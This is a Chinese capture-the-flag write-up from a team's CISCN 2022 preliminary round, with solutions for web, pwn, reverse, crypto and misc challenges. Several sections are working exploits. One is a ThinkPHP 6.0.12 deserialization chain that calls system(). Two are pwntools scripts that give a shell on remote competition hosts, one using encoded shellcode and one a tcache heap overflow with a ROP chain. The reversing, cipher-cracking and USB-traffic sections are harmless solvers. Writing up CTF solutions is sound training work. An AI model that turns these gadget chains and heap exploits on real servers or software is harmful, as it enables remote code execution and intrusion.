CISCN 2022 初赛 writeup by or4nge
rank: 6th
or4nge 的师傅们在第十五届全国大学生信息安全竞赛创新实践赛初赛中拿到了全国第 6 名的好成绩,师傅们真棒!
tp6.0.12 的反序列化洞,直接用现成的链的打就行
1<?php
2namespace think{
3 abstract class Model{
4 private $lazySave = false;
5 private $data = [];
6 private $exists = false;
7 protected $table;
8 private $withAttr = [];
9 protected $json = [];
10 protected $jsonAssoc = false;
11 function __construct($obj = ''){
12 $this->lazySave = True;
13 $this->data = ['key' => ["cat /flag.txt"]];
14 $this->exists = True;
15 $this->table = $obj;
16 $this->withAttr = ['key' => ['system']];
17 $this->json = ['key',['key']];
18 $this->jsonAssoc = True;
19 }
20 }
21}
22namespace think\model{
23 use think\Model;
24 class Pivot extends Model{
25 }
26}
27
28namespace{
29 echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
30}
可见字符 shellcode,调用 ae64 脚本,rdx 直接打通
1from pwn import *
2from ae64 import AE64
3import sys
4context(os='linux', arch='amd64', log_level='debug')
5
6if len(sys.argv) < 2:
7 debug = True
8else:
9 debug = False
10
11if debug:
12 p = process("./login")
13 libc = ELF("./libc-2.33.so")
14else:
15 p = remote("101.201.123.35", 17186)
16
17
18def debugf(b=0):
19 if debug:
20 if b:
21 gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
22 else:
23 gdb.attach(p)
24
25elf = ELF('./login')
26
27
28ru = lambda x : p.recvuntil(x)
29sn = lambda x : p.send(x)
30rl = lambda : p.recvline()
31sl = lambda x : p.sendline(x)
32rv = lambda x : p.recv(x)
33sa = lambda a,b : p.sendafter(a,b)
34sla = lambda a,b : p.sendlineafter(a, b)
35
36# debugf(0x0401008)
37
38def Login(msg):
39 p.sendlineafter(">>> ", "opt:1\r\nmsg:%s\r\n" %msg)
40
41def weak(msg):
42 p.sendlineafter(">>> ", "opt:2\r\nmsg:%s\r\n" %msg)
43
44def Logout(msg):
45 p.sendlineafter(">>> ", "opt:3\r\nmsg:%s\r\n" %msg)
46
47
48shellcode = asm(shellcraft.sh())
49enc_shellcode = AE64().encode(shellcode, 'rdx', 0, 'fast')
50# gdb.attach(p, "b *$rebase(0xe54)")
51
52sleep(1)
53
54Login("ro0t")
55print(enc_shellcode.decode('latin-1'))
56weak(enc_shellcode.decode('latin-1'))
57
58p.interactive()
2.34 版本,整数溢出 +uaf,先 leak tcache 的 key,然后伪造堆块拿 libc 和 environ 最后再伪造一个栈上的 chunk 到返回地址拿到 shell
1from pwn import *
2import sys
3context(os='linux', arch='amd64', log_level='debug')
4
5if len(sys.argv) < 2:
6 debug = True
7else:
8 debug = False
9
10if debug:
11 p = process("./newest_note")
12 libc = ELF("./libc.so.6")
13else:
14 p = remote("47.93.180.93", 27873)
15 libc = ELF("./libc.so.6")
16
17def debugf(b=0):
18 if debug:
19 if b:
20 gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
21 else:
22 gdb.attach(p)
23
24elf = ELF('./newest_note')
25
26ru = lambda x : p.recvuntil(x)
27sn = lambda x : p.send(x)
28rl = lambda : p.recvline()
29sl = lambda x : p.sendline(x)
30rv = lambda x : p.recv(x)
31sa = lambda a,b : p.sendafter(a,b)
32sla = lambda a,b : p.sendlineafter(a, b)
33
34def menu(i):
35 sla(b':',str(i))
36
37def add(index,content):
38 menu(1)
39 sla('Index: ',str(index))
40 sla('Content: ',content)
41
42def flip(index):
43 menu(2)
44 sla('Index: ',str(index))
45
46def show(index):
47 menu(3)
48 sla('Index: ',str(index))
49
50
51ru('will be? :')
52sl(str(0x300200020//8))
53add(0,b"aaa")
54add(1,b"bbb")
55for i in range(0,24):
56 add(4,(p64(0)+p64(0x21))*3)
57
58flip(0)
59show(0)
60ru('Content: ')
61key = u64(p.recv(5).ljust(8,b'\x00'))
62
63flip(1)
64show(1)
65ru('Content: ')
66heapinfo = u64(ru('\n')[:-1].ljust(8,b'\x00'))
67heapaddr = heapinfo ^ key
68heap_base = heapaddr - 0x2a0
69print("key: " + hex(key))
70print("heapaddr: " + hex(heapaddr))
71print("heap_base: " + hex(heap_base))
72
73
74add(0,p64(0))
75add(1,p64(key)+p64(0x41)+p64(key)+p64(0x41)+p64(key)+p64(0x41))
76add(2,3*(p64(0)+p64(0x21)))
77
78chunk1_size = heap_base+0x2b0
79
80print("chunk1 size: " + hex(chunk1_size))
81print("enc chunk1 size: " + hex((chunk1_size)^key))
82
83add(0x41cc70//8, p64(0)+p64(0x41)+p64(chunk1_size^key) +p64(0) )
84
85add(3,p64(0)*4+p64(0)+p64(0x420))
86add(4,p64(0)*3+p64(0x421))
87flip(0)
88show(0)
89libc_info = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
90libc.address = libc_info - 0x218cc0
91print("libc_info: " + hex(libc_info))
92print("libc_base: " + hex(libc.address))
93
94env = libc.symbols['environ'] - 0x10
95
96add(0,b"a"*8)
97flip(2)
98flip(0)
99flip(4)
100
101add(4,p64(0)*3+p64(0x41)+p64(env^key))
102
103add(0,b'aaa')
104add(2,b'a'*15)
105
106show(2)
107
108stack2= u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
109print("stack_info2: " + hex(stack2))
110
111ret2 = stack2 - 0x158
112flip(1)
113flip(0)
114flip(4)
115
116success("ret_enc: " + hex(ret2^key))
117success("ret_addr: " + hex(ret2))
118
119add(4,p64(0)*3+p64(0x41)+p64(ret2^key))
120add(1,b'aaa')
121pop_rdi_ret = 0x000000000002e6c5
122ret = 0x000000000004a7cc
123
124payload =b"a"*8 + p64(pop_rdi_ret + libc.address) + p64(libc.search(b"/bin/sh\x00").__next__()) + p64(ret + libc.address) + p64(libc.sym['system'])
125add(4,payload)
126
127p.interactive()
手撸 ast,还原到 swift 源码
1func check(encoded:String, keyValue:String) -> (Bool){
2 var b = [UInt8](encoded.utf8)
3 var k = [UInt8](keyValue.utf8)
4 var r0, r1, r2, r3: UInt8
5 for i in 0...b.count-4{
6 (r0, r1, r2, r3) = (b[i], b[i+1], b[i+2], b[i+3])
7 b[i+0] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff)
8 b[i+1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff)
9 b[i+2] = r0 ^ k[2]
10 b[i+3] = r1 ^ k[3]
11 (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0])
12 }
13 return b == [88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16]
14}
用 z3 求解
1from z3 import *
2
3enc = [
4 88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64,
5 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205,
6 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16
7]
8
9k = [0x33, 0x34, 0x35, 0x79]
10
11s = Solver()
12flag = [BitVec('flag%d' % i, 16) for i in range(len(enc))]
13
14for i in range(len(flag) - 3):
15 r0, r1, r2, r3 = flag[i], flag[i + 1], flag[i + 2], flag[i + 3]
16 flag[i + 0] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff)
17 flag[i + 1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff)
18 flag[i + 2] = r0 ^ k[2]
19 flag[i + 3] = r1 ^ k[3]
20 (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0])
21
22for i in range(len(enc)):
23 s.add(enc[i] == flag[i])
24
25if s.check() == sat:
26 print (s.model())
27else:
28 print ("no res")
mruby 字节码,参考文档:https://github.com/mruby/mruby/blob/c6c789d2e84085831351740684b72f9a5086cd2d/include/mruby/ops.h
手撸还原源码
1class Crypt
2 class CIPHER
3 XX = 305419896
4 YY = 16
5 def self.encrypt(t, p)
6 cip = CIPHER.new()
7 return cip.encrypt(t, p)
8 end
9
10 def encrypt(t, p)
11 key = to_key(p)
12 c = []
13 n = 0
14 while n < t.length do
15 num1 = t[n].ord.to_i << 24
16 num1 += t[n + 1].ord.to_i << 16
17 num1 += t[n + 2].ord.to_i << 8
18 num1 += t[n + 3].ord.to_i
19 num2 = t[n + 4].ord.to_i << 24
20 num2 += t[n + 5].ord.to_i << 16
21 num2 += t[n + 6].ord.to_i << 8
22 num2 += t[n + 7].ord.to_i
23 enum1, enum2 = enc_one(num1, num2, key)
24 c << enum1
25 c << enum2
26 n += 8
27 end
28 return "".join(c.collect{| x |sprintf('%.8x', x)})
29 end
30
31 private
32 def to_key(p)
33 return p.unpack("L*")
34 end
35
36 def enc_one(num1, num2, key)
37 y, z, s = num1, num2, 0
38 YY.times{ | i |
39 y += (((z << 3) ^ (z >> 5)) + z) ^ (s + key[((s >> 11) + 1) & 3])
40 y &= 4294967295
41 s += XX
42 z += (((y << 3) ^ (y >> 5)) + y) ^ (s + key[(s + 1) & 3])
43 z &= 4294967295
44 }
45 end
46 end
47end
48
49def check(p)
50 i = 0
51 lst_ch = 0
52 while i < p.length do
53 c = p[i].ord
54 p[i] = (c ^ lst_ch ^ (i + 1)).chr
55 lst_ch = c
56 i += 1
57 end
58 k = "aaaassssddddffff"
59 cipher_text = Crypt::CIPHER.encrypt(p, k)
60 if cipher_text == "f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb"
61 return true
62 end
63 return false
64end
65
66p = gets.chomp
67if check(p)
68 puts "yes"
69end
修改后的 xtea,解密脚本:
1#include <stdio.h>
2#include <stdint.h>
3
4void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
5 unsigned int i;
6 uint32_t v0=v[0], v1=v[1], delta=305419896, sum=delta*num_rounds;
7 for (i=0; i < num_rounds; i++) {
8 v1 -= (((v0 << 3) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum + 1) & 3]);
9 sum -= delta;
10 v0 -= (((v1 << 3) ^ (v1 >> 5)) + v1) ^ (sum + key[((sum>>11) + 1) & 3]);
11 }
12 v[0]=v0; v[1]=v1;
13}
14
15int main() {
16 uint32_t v[] = {0xf469358bu, 0x7f165145u, 0x116e127au, 0xd6105917u, 0xbce5225du, 0x6d62a714u, 0xc390c5edu, 0x93b22d8bu, 0x6b102a88u, 0x13488fdbu};
17 uint32_t const k[4] = {0x61616161u, 0x73737373u, 0x64646464u, 0x66666666u};
18 unsigned int r=16;
19 decipher(r, v, k);
20 decipher(r, v + 2, k);
21 decipher(r, v + 4, k);
22 decipher(r, v + 6, k);
23 decipher(r, v + 8, k);
24 printf("%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x\n",v[0],v[1], v[2], v[3], v[4], v[5], v[6], v[7], v[8], v[9]);
25 return 0;
26}
最后一个异或使用 python 求解
1a = [0x67, 0x08, 0x0e, 0x02, 0x19, 0x4b, 0x50, 0x0d, 0x5c, 0x58, 0x5f, 0x0b, 0x5e, 0x40, 0x46, 0x15, 0x11, 0x47, 0x0a, 0x08, 0x15, 0x42, 0x11, 0x56, 0x0d, 0x47, 0x49, 0x1e, 0x04, 0x03, 0x1d, 0x26, 0x27, 0x71, 0x21, 0x76, 0x26, 0x24, 0x27, 0x65]
2
3lst_ch = 0
4for i in range(40):
5 lst_ch = a[i] ^ lst_ch ^ (i + 1)
6 print (chr(lst_ch), end='')
rabbit 加密
key 前 5 字节随机生成,后面 11 字节根据前面 5 字节生成
最后用 3 个随机字节异或
已知 flag.png 的文件头,可以爆破得到 key
直接用网上的 Rabbit 库解密
1import hashlib
2from Rabbit import *
3
4r = open('flag.png.enc', 'rb')
5message = r.read()
6
7start = "0123456789"
8s = "qscfthnjik"
9for s1 in s:
10 for s2 in s:
11 for s3 in s:
12 for s4 in s:
13 for s5 in s:
14 key = [ord(s1), ord(s2), ord(s3), ord(s4), ord(s5)]
15 for i in range(11):
16 key.append((key[-1] + key[-2]) & 0xff)
17 for i in range(16):
18 key[i] = key[i].to_bytes(1, 'big')
19 key = b''.join(key)
20 msg = Rabbit(key, b'\x01\x02\x03\x04\x05\x06\x07\x08').encrypt(message[:8]).encode()
21 for i in start:
22 if ord(i) ^ msg[0] == 0x89:
23 for j in start:
24 if ord(j) ^ msg[1] == 0x50:
25 for k in start:
26 if ord(k) ^ msg[2] == 0x4e:
27 if ord(i) ^ msg[3] == 0x47:
28 msg = Rabbit(key, 0).encrypt(message).encode()
29 ans = b''
30 for i in range(len(msg)):
31 ans += chr(
32 (msg[i])
33 ^ key[i % 3]).encode()
34 print(ans)
首先发送一个 s 开启电报,抓包可以看到返回一个 session,再随意发一个字符发现 session 添加到了 cookie 字段中,之后直接发送电码本和掩码的模 10 加结果即可,注意中间是用 J 分隔的,脚本如下
1plaint = '1732251413440356045166710055'
2mask = '1021723964055826996370726447'
3msg = ''
4for i in range(len(plaint)):
5 msg += str((int(plaint[i]) + int(mask[i])) % 10)
6
7for i in range(len(msg)):
8 if i % 4 == 0:
9 print('J')
10 print(msg[i], end="")
学着 server 的代码填空即可,主要填两个地方,填完发现仨题都能打通
在 152 行处
1 Memset(Buf,0,DIGEST_SIZE*4);
2 Strncpy(Buf,client_state->key,DIGEST_SIZE);
3 Memcpy(Buf+DIGEST_SIZE,client_state->nonceA,DIGEST_SIZE);
4 Memcpy(Buf+DIGEST_SIZE*2,client_state->nonceB,DIGEST_SIZE);
5 calculate_context_sm3(Buf,DIGEST_SIZE*3,Buf+DIGEST_SIZE*3);
在 184 行处
1 Memset(Buf,0,DIGEST_SIZE*2);
2 Strncpy(Buf,client_state->key,DIGEST_SIZE);
3 Memcpy(Buf+DIGEST_SIZE,client_state->nonceB,DIGEST_SIZE);
4 calculate_context_sm3(Buf,DIGEST_SIZE*2,login_info->passwd);
随意发送 16 字节后拿到 E(r_A||r_B||B)
,试了几次发现用的是分组加密的 ECB 模式,直接发送给服务端 E(r_B)||E(r_A)
即可
填问卷,拿 flag
两个键盘的流量,一个是 rar,一个是密码,抓出流量解密拿到 flag
1import sys
2import os
3
4presses = []
5
6normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
7
8shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
9
10# tshark -r ez_usb.pcapng -T fields -e usb.capdata -Y "usb.device_address==8" | sed '/^\s*$/d' > usb1.dat
11
12with open("usb1.dat", "r") as f:
13 for line in f:
14 presses.append(line[0:-1])
15result = ""
16for press in presses:
17 if press == '':
18 continue
19 if ':' in press:
20 Bytes = press.split(":")
21 else:
22 Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
23 if Bytes[0] == "00":
24 if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
25 result += normalKeys[Bytes[2]]
26 elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000: # shift key is pressed.
27 if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
28 result += shiftKeys[Bytes[2]]
29 else:
30 print("Unknow Key : %s" % (Bytes[0]))
31
32print("got : %s" % (result))